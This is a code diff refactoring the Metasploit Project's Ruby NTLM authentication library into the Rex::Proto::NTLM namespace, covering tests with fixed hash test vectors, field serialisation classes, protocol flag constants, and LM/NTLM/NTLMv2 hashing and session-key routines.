require 'rex/proto/ntlm/utils'
|
||||
require 'rex/proto/ntlm/base'
|
||||
require 'rex/proto/ntlm/message'
|
||||
|
|
@ -1,6 +1,6 @@
|
|||
#!/usr/bin/env ruby
|
||||
require 'test/unit'
|
||||
require 'net/ntlm'
|
||||
require 'rex/proto/ntlm'
|
||||
require 'rex/socket'
|
||||
|
||||
class ConnectionTest < Test::Unit::TestCase
|
||||
|
@ -35,7 +35,7 @@ class ConnectionTest < Test::Unit::TestCase
|
|||
end
|
||||
|
||||
def client_auth(pw)
|
||||
msg_1 = Net::NTLM::Message::Type1.new
|
||||
msg_1 = Rex::Proto::NTLM::Message::Type1.new
|
||||
get_req = http_message(msg_1)
|
||||
socket = Rex::Socket.create_tcp(
|
||||
'PeerHost' => @host,
|
||||
|
@ -46,7 +46,7 @@ class ConnectionTest < Test::Unit::TestCase
|
|||
assert res =~ /WWW-Authenticate: NTLM TlRM/
|
||||
res_ntlm = res.match(/WWW-Authenticate: NTLM ([A-Z0-9\x2b\x2f=]+)/i)[1]
|
||||
assert_operator res_ntlm.size, :>=, 24
|
||||
msg_2 = Net::NTLM::Message.decode64(res_ntlm)
|
||||
msg_2 = Rex::Proto::NTLM::Message.decode64(res_ntlm)
|
||||
assert msg_2
|
||||
msg_3 = msg_2.response({:user => @user, :password => pw}, {:ntlmv2 => true})
|
||||
assert msg_3
|
||||
|
@ -90,24 +90,24 @@ class FunctionTest < Test::Unit::TestCase #:nodoc:
|
|||
|
||||
def test_lm_hash
|
||||
ahash = ["ff3750bcc2b22412c2265b23734e0dac"].pack("H*")
|
||||
assert_equal ahash, Net::NTLM::lm_hash(@passwd)
|
||||
assert_equal ahash, Rex::Proto::NTLM::Crypt::lm_hash(@passwd)
|
||||
end
|
||||
|
||||
def test_ntlm_hash
|
||||
ahash = ["cd06ca7c7e10c99b1d33b7485a2ed808"].pack("H*")
|
||||
assert_equal ahash, Net::NTLM::ntlm_hash(@passwd)
|
||||
assert_equal ahash, Rex::Proto::NTLM::Crypt::ntlm_hash(@passwd)
|
||||
end
|
||||
|
||||
def test_ntlmv2_hash
|
||||
ahash = ["04b8e0ba74289cc540826bab1dee63ae"].pack("H*")
|
||||
assert_equal ahash, Net::NTLM::ntlmv2_hash(@user, @passwd, @domain)
|
||||
assert_equal ahash, Rex::Proto::NTLM::Crypt::ntlmv2_hash(@user, @passwd, @domain)
|
||||
end
|
||||
|
||||
def test_lm_response
|
||||
ares = ["c337cd5cbd44fc9782a667af6d427c6de67c20c2d3e77c56"].pack("H*")
|
||||
assert_equal ares, Net::NTLM::lm_response(
|
||||
assert_equal ares, Rex::Proto::NTLM::Crypt::lm_response(
|
||||
{
|
||||
:lm_hash => Net::NTLM::lm_hash(@passwd),
|
||||
:lm_hash => Rex::Proto::NTLM::Crypt::lm_hash(@passwd),
|
||||
:challenge => @challenge
|
||||
}
|
||||
)
|
||||
|
@ -115,8 +115,8 @@ class FunctionTest < Test::Unit::TestCase #:nodoc:
|
|||
|
||||
def test_ntlm_response
|
||||
ares = ["25a98c1c31e81847466b29b2df4680f39958fb8c213a9cc6"].pack("H*")
|
||||
ntlm_hash = Net::NTLM::ntlm_hash(@passwd)
|
||||
assert_equal ares, Net::NTLM::ntlm_response(
|
||||
ntlm_hash = Rex::Proto::NTLM::Crypt::ntlm_hash(@passwd)
|
||||
assert_equal ares, Rex::Proto::NTLM::Crypt::ntlm_response(
|
||||
{
|
||||
:ntlm_hash => ntlm_hash,
|
||||
:challenge => @challenge
|
||||
|
@ -126,9 +126,9 @@ class FunctionTest < Test::Unit::TestCase #:nodoc:
|
|||
|
||||
def test_lmv2_response
|
||||
ares = ["d6e6152ea25d03b7c6ba6629c2d6aaf0ffffff0011223344"].pack("H*")
|
||||
assert_equal ares, Net::NTLM::lmv2_response(
|
||||
assert_equal ares, Rex::Proto::NTLM::Crypt::lmv2_response(
|
||||
{
|
||||
:ntlmv2_hash => Net::NTLM::ntlmv2_hash(@user, @passwd, @domain),
|
||||
:ntlmv2_hash => Rex::Proto::NTLM::Crypt::ntlmv2_hash(@user, @passwd, @domain),
|
||||
:challenge => @challenge
|
||||
},
|
||||
{ :client_challenge => @client_ch }
|
||||
|
@ -148,9 +148,9 @@ class FunctionTest < Test::Unit::TestCase #:nodoc:
|
|||
"6e002e0063006f006d00000000000000" +
|
||||
"0000"
|
||||
].pack("H*")
|
||||
assert_equal ares, Net::NTLM::ntlmv2_response(
|
||||
assert_equal ares, Rex::Proto::NTLM::Crypt::ntlmv2_response(
|
||||
{
|
||||
:ntlmv2_hash => Net::NTLM::ntlmv2_hash(@user, @passwd, @domain),
|
||||
:ntlmv2_hash => Rex::Proto::NTLM::Crypt::ntlmv2_hash(@user, @passwd, @domain),
|
||||
:challenge => @challenge,
|
||||
:target_info => @trgt_info
|
||||
},
|
||||
|
@ -164,9 +164,9 @@ class FunctionTest < Test::Unit::TestCase #:nodoc:
|
|||
def test_ntlm2_session
|
||||
acha = ["ffffff001122334400000000000000000000000000000000"].pack("H*")
|
||||
ares = ["10d550832d12b2ccb79d5ad1f4eed3df82aca4c3681dd455"].pack("H*")
|
||||
session = Net::NTLM::ntlm2_session(
|
||||
session = Rex::Proto::NTLM::Crypt::ntlm2_session(
|
||||
{
|
||||
:ntlm_hash => Net::NTLM::ntlm_hash(@passwd),
|
||||
:ntlm_hash => Rex::Proto::NTLM::Crypt::ntlm_hash(@passwd),
|
||||
:challenge => @challenge
|
||||
},
|
||||
{ :client_challenge => @client_ch }
|
|
@ -0,0 +1,326 @@
|
|||
#
|
||||
# An NTLM Authentication Library for Ruby
|
||||
#
|
||||
# This code is a derivative of "dbf2.rb" written by yrock
|
||||
# and Minero Aoki. You can find original code here:
|
||||
# http://jp.rubyist.net/magazine/?0013-CodeReview
|
||||
# -------------------------------------------------------------
|
||||
# Copyright (c) 2005,2006 yrock
|
||||
#
|
||||
# This program is free software.
|
||||
# You can distribute/modify this program under the terms of the
|
||||
# Ruby License.
|
||||
#
|
||||
# 2011-02-23 refactored by Alexandre Maloteaux for Metasploit Project
|
||||
# -------------------------------------------------------------
|
||||
#
|
||||
# 2006-02-11 refactored by Minero Aoki
|
||||
# -------------------------------------------------------------
|
||||
#
|
||||
# All protocol information used to write this code stems from
|
||||
# "The NTLM Authentication Protocol" by Eric Glass. The author
|
||||
# would thank to him for this tremendous work and making it
|
||||
# available on the net.
|
||||
# http://davenport.sourceforge.net/ntlm.html
|
||||
# -------------------------------------------------------------
|
||||
# Copyright (c) 2003 Eric Glass
|
||||
#
|
||||
# Permission to use, copy, modify, and distribute this document
|
||||
# for any purpose and without any fee is hereby granted,
|
||||
# provided that the above copyright notice and this list of
|
||||
# conditions appear in all copies.
|
||||
# -------------------------------------------------------------
|
||||
#
|
||||
# The author also looked Mozilla-Firefox-1.0.7 source code,
|
||||
# namely, security/manager/ssl/src/nsNTLMAuthModule.cpp and
|
||||
# Jonathan Bastien-Filiatrault's libntlm-ruby.
|
||||
# "http://x2a.org/websvn/filedetails.php?
|
||||
# repname=libntlm-ruby&path=%2Ftrunk%2Fntlm.rb&sc=1"
|
||||
# The latter has a minor bug in its separate_keys function.
|
||||
# The third key has to begin from the 14th character of the
|
||||
# input string instead of 13th:)
|
||||
#--
|
||||
# $Id: ntlm.rb 11678 2011-01-30 19:26:35Z hdm $
|
||||
#++
|
||||
|
||||
#this class defines the base type needed for other modules like message and crypt
|
||||
|
||||
require 'rex/proto/ntlm/constants'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module NTLM
|
||||
class Base
|
||||
|
||||
CONST = Rex::Proto::NTLM::Constants
|
||||
|
||||
# base classes for primitives
|
||||
class Field
|
||||
attr_accessor :active, :value
|
||||
|
||||
def initialize(opts)
|
||||
@value = opts[:value]
|
||||
@active = opts[:active].nil? ? true : opts[:active]
|
||||
end
|
||||
|
||||
def size
|
||||
@active ? @size : 0
|
||||
end
|
||||
end
|
||||
|
||||
class String < Field
|
||||
def initialize(opts)
|
||||
super(opts)
|
||||
@size = opts[:size]
|
||||
end
|
||||
|
||||
def parse(str, offset=0)
|
||||
if @active and str.size >= offset + @size
|
||||
@value = str[offset, @size]
|
||||
@size
|
||||
else
|
||||
0
|
||||
end
|
||||
end
|
||||
|
||||
def serialize
|
||||
if @active
|
||||
@value
|
||||
else
|
||||
""
|
||||
end
|
||||
end
|
||||
|
||||
def value=(val)
|
||||
@value = val
|
||||
@size = @value.nil? ? 0 : @value.size
|
||||
@active = (@size > 0)
|
||||
end
|
||||
end
|
||||
|
||||
class Int16LE < Field
|
||||
def initialize(opt)
|
||||
super(opt)
|
||||
@size = 2
|
||||
end
|
||||
|
||||
def parse(str, offset=0)
|
||||
if @active and str.size >= offset + @size
|
||||
@value = str[offset, @size].unpack("v")[0]
|
||||
@size
|
||||
else
|
||||
0
|
||||
end
|
||||
end
|
||||
|
||||
def serialize
|
||||
[@value].pack("v")
|
||||
end
|
||||
end
|
||||
|
||||
class Int32LE < Field
|
||||
def initialize(opt)
|
||||
super(opt)
|
||||
@size = 4
|
||||
end
|
||||
|
||||
def parse(str, offset=0)
|
||||
if @active and str.size >= offset + @size
|
||||
@value = str.slice(offset, @size).unpack("V")[0]
|
||||
@size
|
||||
else
|
||||
0
|
||||
end
|
||||
end
|
||||
|
||||
def serialize
|
||||
[@value].pack("V") if @active
|
||||
end
|
||||
end
|
||||
|
||||
class Int64LE < Field
|
||||
def initialize(opt)
|
||||
super(opt)
|
||||
@size = 8
|
||||
end
|
||||
|
||||
def parse(str, offset=0)
|
||||
if @active and str.size >= offset + @size
|
||||
d, u = str.slice(offset, @size).unpack("V2")
|
||||
@value = (u * 0x100000000 + d)
|
||||
@size
|
||||
else
|
||||
0
|
||||
end
|
||||
end
|
||||
|
||||
def serialize
|
||||
[@value & 0x00000000ffffffff, @value >> 32].pack("V2") if @active
|
||||
end
|
||||
end
|
||||
|
||||
# base class of data structure
|
||||
class FieldSet
|
||||
class << FieldSet
|
||||
def define(&block)
|
||||
c = Class.new(self)
|
||||
def c.inherited(subclass)
|
||||
proto = @proto
|
||||
subclass.instance_eval {
|
||||
@proto = proto
|
||||
}
|
||||
end
|
||||
c.module_eval(&block)
|
||||
c
|
||||
end
|
||||
|
||||
def string(name, opts)
|
||||
add_field(name, String, opts)
|
||||
end
|
||||
|
||||
def int16LE(name, opts)
|
||||
add_field(name, Int16LE, opts)
|
||||
end
|
||||
|
||||
def int32LE(name, opts)
|
||||
add_field(name, Int32LE, opts)
|
||||
end
|
||||
|
||||
def int64LE(name, opts)
|
||||
add_field(name, Int64LE, opts)
|
||||
end
|
||||
|
||||
def security_buffer(name, opts)
|
||||
add_field(name, SecurityBuffer, opts)
|
||||
end
|
||||
|
||||
def prototypes
|
||||
@proto
|
||||
end
|
||||
|
||||
def names
|
||||
@proto.map{|n, t, o| n}
|
||||
end
|
||||
|
||||
def types
|
||||
@proto.map{|n, t, o| t}
|
||||
end
|
||||
|
||||
def opts
|
||||
@proto.map{|n, t, o| o}
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def add_field(name, type, opts)
|
||||
(@proto ||= []).push [name, type, opts]
|
||||
define_accessor name
|
||||
end
|
||||
|
||||
def define_accessor(name)
|
||||
module_eval(<<-End, __FILE__, __LINE__ + 1)
|
||||
def #{name}
|
||||
self['#{name}'].value
|
||||
end
|
||||
|
||||
def #{name}=(val)
|
||||
self['#{name}'].value = val
|
||||
end
|
||||
End
|
||||
end
|
||||
end #self
|
||||
|
||||
def initialize
|
||||
@alist = self.class.prototypes.map{ |n, t, o| [n, t.new(o)] }
|
||||
end
|
||||
|
||||
def serialize
|
||||
@alist.map{|n, f| f.serialize }.join
|
||||
end
|
||||
|
||||
def parse(str, offset=0)
|
||||
@alist.inject(offset){|cur, a| cur += a[1].parse(str, cur)}
|
||||
end
|
||||
|
||||
def size
|
||||
@alist.inject(0){|sum, a| sum += a[1].size}
|
||||
end
|
||||
|
||||
def [](name)
|
||||
a = @alist.assoc(name.to_s.intern)
|
||||
raise ArgumentError, "no such field: #{name}" unless a
|
||||
a[1]
|
||||
end
|
||||
|
||||
def []=(name, val)
|
||||
a = @alist.assoc(name.to_s.intern)
|
||||
raise ArgumentError, "no such field: #{name}" unless a
|
||||
a[1] = val
|
||||
end
|
||||
|
||||
def enable(name)
|
||||
self[name].active = true
|
||||
end
|
||||
|
||||
def disable(name)
|
||||
self[name].active = false
|
||||
end
|
||||
end
|
||||
|
||||
Blob = FieldSet.define {
|
||||
int32LE :blob_signature, {:value => CONST::BLOB_SIGN}
|
||||
int32LE :reserved, {:value => 0}
|
||||
int64LE :timestamp, {:value => 0}
|
||||
string :challenge, {:value => "", :size => 8}
|
||||
int32LE :unknown1, {:value => 0}
|
||||
string :target_info, {:value => "", :size => 0}
|
||||
int32LE :unknown2, {:value => 0}
|
||||
}
|
||||
|
||||
SecurityBuffer = FieldSet.define {
|
||||
int16LE :length, {:value => 0}
|
||||
int16LE :allocated, {:value => 0}
|
||||
int32LE :offset, {:value => 0}
|
||||
}
|
||||
|
||||
|
||||
class SecurityBuffer
|
||||
attr_accessor :active
|
||||
def initialize(opts)
|
||||
super()
|
||||
@value = opts[:value]
|
||||
@active = opts[:active].nil? ? true : opts[:active]
|
||||
@size = 8
|
||||
end
|
||||
|
||||
def parse(str, offset=0)
|
||||
if @active and str.size >= offset + @size
|
||||
super(str, offset)
|
||||
@value = str[self.offset, self.length]
|
||||
@size
|
||||
else
|
||||
0
|
||||
end
|
||||
end
|
||||
|
||||
def serialize
|
||||
super if @active
|
||||
end
|
||||
|
||||
def value
|
||||
@value
|
||||
end
|
||||
|
||||
def value=(val)
|
||||
@value = val
|
||||
self.length = self.allocated = val.size
|
||||
end
|
||||
|
||||
def data_size
|
||||
@active ? @value.size : 0
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,74 @@
|
|||
module Rex
|
||||
module Proto
|
||||
module NTLM
|
||||
class Constants
|
||||
|
||||
SSP_SIGN = "NTLMSSP\0"
|
||||
BLOB_SIGN = 0x00000101
|
||||
LM_MAGIC = "KGS!@\#$%"
|
||||
TIME_OFFSET = 11644473600
|
||||
MAX64 = 0xffffffffffffffff
|
||||
|
||||
FLAGS = {
|
||||
:UNICODE => 0x00000001,
|
||||
:OEM => 0x00000002,
|
||||
:REQUEST_TARGET => 0x00000004,
|
||||
#:UNKNOWN => 0x00000008,
|
||||
:SIGN => 0x00000010,
|
||||
:SEAL => 0x00000020,
|
||||
#:UNKNOWN => 0x00000040,
|
||||
:NETWARE => 0x00000100,
|
||||
:NTLM => 0x00000200,
|
||||
#:UNKNOWN => 0x00000400,
|
||||
#:UNKNOWN => 0x00000800,
|
||||
:DOMAIN_SUPPLIED => 0x00001000,
|
||||
:WORKSTATION_SUPPLIED => 0x00002000,
|
||||
:LOCAL_CALL => 0x00004000,
|
||||
:ALWAYS_SIGN => 0x00008000,
|
||||
:TARGET_TYPE_DOMAIN => 0x00010000,
|
||||
:TARGET_INFO => 0x00800000,
|
||||
:NTLM2_KEY => 0x00080000,
|
||||
:KEY128 => 0x20000000,
|
||||
:KEY56 => 0x80000000
|
||||
}
|
||||
|
||||
FLAG_KEYS = FLAGS.keys.sort{|a, b| FLAGS[a] <=> FLAGS[b] }
|
||||
|
||||
DEFAULT_FLAGS = {
|
||||
:TYPE1 => FLAGS[:UNICODE] | FLAGS[:OEM] | FLAGS[:REQUEST_TARGET] | FLAGS[:NTLM] | FLAGS[:ALWAYS_SIGN] | FLAGS[:NTLM2_KEY],
|
||||
:TYPE2 => FLAGS[:UNICODE],
|
||||
:TYPE3 => FLAGS[:UNICODE] | FLAGS[:REQUEST_TARGET] | FLAGS[:NTLM] | FLAGS[:ALWAYS_SIGN] | FLAGS[:NTLM2_KEY]
|
||||
}
|
||||
|
||||
# NTLM Response Type
|
||||
NTLM_V1_RESPONSE = 1
|
||||
NTLM_V2_RESPONSE = 2
|
||||
NTLM_2_SESSION_RESPONSE = 3
|
||||
|
||||
#the same flags but merged from lib/rex/proto/smb/constants and keeped for compatibility
|
||||
# NTLMSSP Message Flags
|
||||
NEGOTIATE_UNICODE = 0x00000001 # Only set if Type 1 contains it - this or oem, not both
|
||||
NEGOTIATE_OEM = 0x00000002 # Only set if Type 1 contains it - this or unicode, not both
|
||||
REQUEST_TARGET = 0x00000004 # If set in Type 1, must return domain or server
|
||||
NEGOTIATE_SIGN = 0x00000010 # Session signature required
|
||||
NEGOTIATE_SEAL = 0x00000020 # Session seal required
|
||||
NEGOTIATE_LMKEY = 0x00000080 # LM Session Key should be used for signing and sealing
|
||||
NEGOTIATE_NTLM = 0x00000200 # NTLM auth is supported
|
||||
NEGOTIATE_ANONYMOUS = 0x00000800 # Anonymous context used
|
||||
NEGOTIATE_DOMAIN = 0x00001000 # Sent in Type1, client gives domain info
|
||||
NEGOTIATE_WORKSTATION = 0x00002000 # Sent in Type1, client gives workstation info
|
||||
NEGOTIATE_LOCAL_CALL = 0x00004000 # Server and client are on same machine
|
||||
NEGOTIATE_ALWAYS_SIGN = 0x00008000 # Add signatures to packets
|
||||
TARGET_TYPE_DOMAIN = 0x00010000 # If REQUEST_TARGET, we're adding the domain name
|
||||
TARGET_TYPE_SERVER = 0x00020000 # If REQUEST_TARGET, we're adding the server name
|
||||
TARGET_TYPE_SHARE = 0x00040000 # Supposed to denote "a share" but for a webserver?
|
||||
NEGOTIATE_NTLM2_KEY = 0x00080000 # NTLMv2 Signature and Key exchanges
|
||||
NEGOTIATE_TARGET_INFO = 0x00800000 # Server set when sending Target Information Block
|
||||
NEGOTIATE_128 = 0x20000000 # 128-bit encryption supported
|
||||
NEGOTIATE_KEY_EXCH = 0x40000000 # Client will supply encrypted master key in Session Key field of Type3 msg
|
||||
NEGOTIATE_56 = 0x80000000 # 56-bit encryption supported
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,320 @@
|
|||
#
|
||||
# An NTLM Authentication Library for Ruby
|
||||
#
|
||||
# This code is a derivative of "dbf2.rb" written by yrock
|
||||
# and Minero Aoki. You can find original code here:
|
||||
# http://jp.rubyist.net/magazine/?0013-CodeReview
|
||||
# -------------------------------------------------------------
|
||||
# Copyright (c) 2005,2006 yrock
|
||||
#
|
||||
# This program is free software.
|
||||
# You can distribute/modify this program under the terms of the
|
||||
# Ruby License.
|
||||
#
|
||||
# 2011-02-23 refactored and improved by Alexandre Maloteaux for Metasploit Project
|
||||
# -------------------------------------------------------------
|
||||
#
|
||||
# 2006-02-11 refactored by Minero Aoki
|
||||
# -------------------------------------------------------------
|
||||
#
|
||||
# All protocol information used to write this code stems from
|
||||
# "The NTLM Authentication Protocol" by Eric Glass. The author
|
||||
# would thank to him for this tremendous work and making it
|
||||
# available on the net.
|
||||
# http://davenport.sourceforge.net/ntlm.html
|
||||
# -------------------------------------------------------------
|
||||
# Copyright (c) 2003 Eric Glass
|
||||
#
|
||||
# Permission to use, copy, modify, and distribute this document
|
||||
# for any purpose and without any fee is hereby granted,
|
||||
# provided that the above copyright notice and this list of
|
||||
# conditions appear in all copies.
|
||||
# -------------------------------------------------------------
|
||||
#
|
||||
# The author also looked Mozilla-Firefox-1.0.7 source code,
|
||||
# namely, security/manager/ssl/src/nsNTLMAuthModule.cpp and
|
||||
# Jonathan Bastien-Filiatrault's libntlm-ruby.
|
||||
# "http://x2a.org/websvn/filedetails.php?
|
||||
# repname=libntlm-ruby&path=%2Ftrunk%2Fntlm.rb&sc=1"
|
||||
# The latter has a minor bug in its separate_keys function.
|
||||
# The third key has to begin from the 14th character of the
|
||||
# input string instead of 13th:)
|
||||
#--
|
||||
# $Id: ntlm.rb 11678 2011-01-30 19:26:35Z hdm $
|
||||
#++
|
||||
|
||||
|
||||
require 'rex/proto/ntlm/constants'
|
||||
require 'rex/proto/ntlm/base'
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module NTLM
|
||||
class Crypt
|
||||
|
||||
CONST = Rex::Proto::NTLM::Constants
|
||||
BASE = Rex::Proto::NTLM::Base
|
||||
|
||||
@@loaded_openssl = false
|
||||
|
||||
begin
|
||||
require 'openssl'
|
||||
require 'openssl/digest'
|
||||
@@loaded_openssl = true
|
||||
rescue ::Exception
|
||||
end
|
||||
|
||||
begin
|
||||
|
||||
def self.gen_keys(str)
|
||||
Rex::Text::split_to_a(str, 7).map{ |str7|
|
||||
bits = Rex::Text::split_to_a(str7.unpack("B*")[0], 7).inject('')\
|
||||
{|ret, tkn| ret += tkn + (tkn.gsub('1', '').size % 2).to_s }
|
||||
[bits].pack("B*")
|
||||
}
|
||||
end
|
||||
|
||||
def self.apply_des(plain, keys)
|
||||
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
|
||||
dec = OpenSSL::Cipher::DES.new
|
||||
keys.map {|k|
|
||||
dec.key = k
|
||||
dec.encrypt.update(plain)
|
||||
}
|
||||
end
|
||||
|
||||
def self.lm_hash(password, half = false)
|
||||
if half then size = 7 else size = 14 end
|
||||
keys = gen_keys password.upcase.ljust(size, "\0")
|
||||
apply_des(CONST::LM_MAGIC, keys).join
|
||||
end
|
||||
|
||||
def self.ntlm_hash(password, opt = {})
|
||||
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
|
||||
pwd = password.dup
|
||||
unless opt[:unicode]
|
||||
pwd = Rex::Text.to_unicode(pwd)
|
||||
end
|
||||
OpenSSL::Digest::MD4.digest pwd
|
||||
end
|
||||
|
||||
def self.ntlmv2_hash(user, password, domain, opt={})
|
||||
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
|
||||
ntlmhash = ntlm_hash(password, opt)
|
||||
#With Win 7 and maybe other OSs we sometimes get my domain not uppercased,
|
||||
#so the domain does not need to be uppercased
|
||||
userdomain = user.upcase + domain
|
||||
unless opt[:unicode]
|
||||
userdomain = Rex::Text.to_unicode(userdomain)
|
||||
end
|
||||
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, ntlmhash, userdomain)
|
||||
end
|
||||
|
||||
# responses
|
||||
def self.lm_response(arg, half = false)
|
||||
begin
|
||||
hash = arg[:lm_hash]
|
||||
chal = arg[:challenge]
|
||||
rescue
|
||||
raise ArgumentError
|
||||
end
|
||||
chal = BASE::pack_int64le(chal) if chal.is_a?(Integer)
|
||||
if half then size = 7 else size = 21 end
|
||||
keys = gen_keys hash.ljust(size, "\0")
|
||||
apply_des(chal, keys).join
|
||||
end
|
||||
|
||||
#synonym of lm_response for old compatibility with lib/rex/proto/smb/crypt
|
||||
def self.lanman_des(password, challenge)
|
||||
arglm = { :lm_hash => self.lm_hash(password),
|
||||
:challenge => challenge }
|
||||
self.lm_response(arglm)
|
||||
end
|
||||
|
||||
def self.ntlm_response(arg)
|
||||
hash = arg[:ntlm_hash]
|
||||
chal = arg[:challenge]
|
||||
chal = BASE::pack_int64le(chal) if chal.is_a?(::Integer)
|
||||
keys = gen_keys hash.ljust(21, "\0")
|
||||
apply_des(chal, keys).join
|
||||
end
|
||||
|
||||
#synonym of ntlm_response for old compatibility with lib/rex/proto/smb/crypt
|
||||
def self.ntlm_md4(password, challenge)
|
||||
argntlm = { :ntlm_hash => self.ntlm_hash(password),
|
||||
:challenge => challenge }
|
||||
self.ntlm_response(argntlm)
|
||||
end
|
||||
|
||||
def self.ntlmv2_response(arg, opt = {})
|
||||
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
|
||||
begin
|
||||
key = arg[:ntlmv2_hash]
|
||||
chal = arg[:challenge]
|
||||
rescue
|
||||
raise ArgumentError , 'ntlmv2_hash and challenge are mandatory'
|
||||
end
|
||||
chal = BASE::pack_int64le(chal) if chal.is_a?(::Integer)
|
||||
if opt[:nt_client_challenge]
|
||||
unless opt[:nt_client_challenge].is_a?(::String) && opt[:nt_client_challenge].length > 24
|
||||
raise ArgumentError,"nt_client_challenge is not in a correct format "
|
||||
end
|
||||
bb = opt[:nt_client_challenge]
|
||||
else
|
||||
begin
|
||||
ti = arg[:target_info]
|
||||
rescue
|
||||
raise ArgumentError, "target_info is mandatory in this case"
|
||||
end
|
||||
if opt[:client_challenge]
|
||||
cc = opt[:client_challenge]
|
||||
else
|
||||
cc = rand(CONST::MAX64)
|
||||
end
|
||||
cc = BASE::pack_int64le(cc) if cc.is_a?(::Integer)
|
||||
|
||||
if opt[:timestamp]
|
||||
ts = opt[:timestamp]
|
||||
else
|
||||
ts = Time.now.to_i
|
||||
end
|
||||
# epoch -> milsec from Jan 1, 1601
|
||||
ts = 10000000 * (ts + CONST::TIME_OFFSET)
|
||||
|
||||
blob = BASE::Blob.new
|
||||
blob.timestamp = ts
|
||||
blob.challenge = cc
|
||||
blob.target_info = ti
|
||||
|
||||
bb = blob.serialize
|
||||
end
|
||||
|
||||
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, key, chal + bb) + bb
|
||||
|
||||
end
|
||||
|
||||
|
||||
def self.lmv2_response(arg, opt = {})
|
||||
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
|
||||
key = arg[:ntlmv2_hash]
|
||||
chal = arg[:challenge]
|
||||
|
||||
chal = BASE::pack_int64le(chal) if chal.is_a?(::Integer)
|
||||
if opt[:client_challenge]
|
||||
cc = opt[:client_challenge]
|
||||
else
|
||||
cc = rand(CONST::MAX64)
|
||||
end
|
||||
cc = BASE::pack_int64le(cc) if cc.is_a?(::Integer)
|
||||
|
||||
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, key, chal + cc) + cc
|
||||
end
|
||||
|
||||
def self.ntlm2_session(arg, opt = {})
|
||||
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
|
||||
begin
|
||||
passwd_hash = arg[:ntlm_hash]
|
||||
chal = arg[:challenge]
|
||||
rescue
|
||||
raise ArgumentError
|
||||
end
|
||||
|
||||
if opt[:client_challenge]
|
||||
cc = opt[:client_challenge]
|
||||
else
|
||||
cc = rand(CONST::MAX64)
|
||||
end
|
||||
cc = BASE::pack_int64le(cc) if cc.is_a?(Integer)
|
||||
|
||||
keys = gen_keys passwd_hash.ljust(21, "\0")
|
||||
session_hash = OpenSSL::Digest::MD5.digest(chal + cc).slice(0, 8)
|
||||
response = apply_des(session_hash, keys).join
|
||||
[cc.ljust(24, "\0"), response]
|
||||
end
|
||||
|
||||
#signing method added for metasploit project
|
||||
|
||||
#Used when only the LMv1 response is provided (i.e., with Win9x clients)
|
||||
def self.lmv1_user_session_key(pass )
|
||||
self.lm_hash(pass.upcase[0,7],true).ljust(16,"\x00")
|
||||
end
|
||||
|
||||
#This variant is used when the client sends the NTLMv1 response
|
||||
def self.ntlmv1_user_session_key(pass )
|
||||
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
|
||||
OpenSSL::Digest::MD4.digest(self.ntlm_hash(pass))
|
||||
end
|
||||
|
||||
#Used when NTLMv1 authentication is employed with NTLM2 session security
|
||||
def self.ntlm2_session_user_session_key(pass, srv_chall, cli_chall)
|
||||
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
|
||||
ntlm_key = self.ntlmv1_user_session_key(pass )
|
||||
session_chal = srv_chall + cli_chall
|
||||
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, ntlm_key, session_chal)
|
||||
end
|
||||
|
||||
#Used when the LMv2 response is sent
|
||||
def self.lmv2_user_session_key(user, pass, domain, srv_chall, cli_chall)
|
||||
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
|
||||
ntlmv2_key = self.ntlmv2_hash(user, pass, domain)
|
||||
hash1 = OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, ntlmv2_key, srv_chall + cli_chall)
|
||||
OpenSSL::HMAC.digest(OpenSSL::Digest::MD5.new, ntlmv2_key, hash1)
|
||||
end
|
||||
|
||||
#Used when the NTLMv2 response is sent
|
||||
class << self; alias_method :ntlmv2_user_session_key, :lmv2_user_session_key; end
|
||||
|
||||
#Used when LAnMan Key flag is set
|
||||
def self.lanman_session_key(pass, srvchall)
|
||||
halfhash =self.lm_hash(pass.upcase[0,7],true)
|
||||
arglm = { :lm_hash => halfhash[0,7],
|
||||
:challenge => srvchall }
|
||||
plain = self.lm_response(arglm,true)
|
||||
key = halfhash + ["bdbdbdbdbdbd"].pack("H*")
|
||||
keys = self.gen_keys(key)
|
||||
self.apply_des(plain, keys).join
|
||||
end
|
||||
|
||||
|
||||
def self.encrypt_sessionkey(session_key, user_session_key)
|
||||
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
|
||||
cipher = OpenSSL::Cipher::Cipher.new('rc4')
|
||||
cipher.encrypt
|
||||
cipher.key = user_session_key
|
||||
cipher.update(session_key)
|
||||
end
|
||||
|
||||
def self.decrypt_sessionkey(encrypted_session_key, user_session_key)
|
||||
raise RuntimeError, "No OpenSSL support" if not @@loaded_openssl
|
||||
cipher = OpenSSL::Cipher::Cipher.new('rc4')
|
||||
cipher.decrypt
|
||||
cipher.key = user_session_key
|
||||
cipher.update(encrypted_session_key)
|
||||
end
|
||||
|
||||
def self.make_weak_sessionkey(session_key,key_size,lanman_key = false)
|
||||
case key_size
|
||||
when 40
|
||||
if lanman_key
|
||||
return session_key[0,5] + "\xe5\x38\xb0"
|
||||
else
|
||||
return session_key[0,5]
|
||||
end
|
||||
when 56
|
||||
if lanman_key
|
||||
return session_key[0,7] + "\xa0"
|
||||
else
|
||||
return session_key[0,7]
|
||||
end
|
||||
else #128
|
||||
return session_key[0,16]
|
||||
end
|
||||
end
|
||||
|
||||
rescue LoadError
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,9 @@
|
|||
module Rex
|
||||
module Proto
|
||||
module NTLM
|
||||
module Exceptions
|
||||
end
|
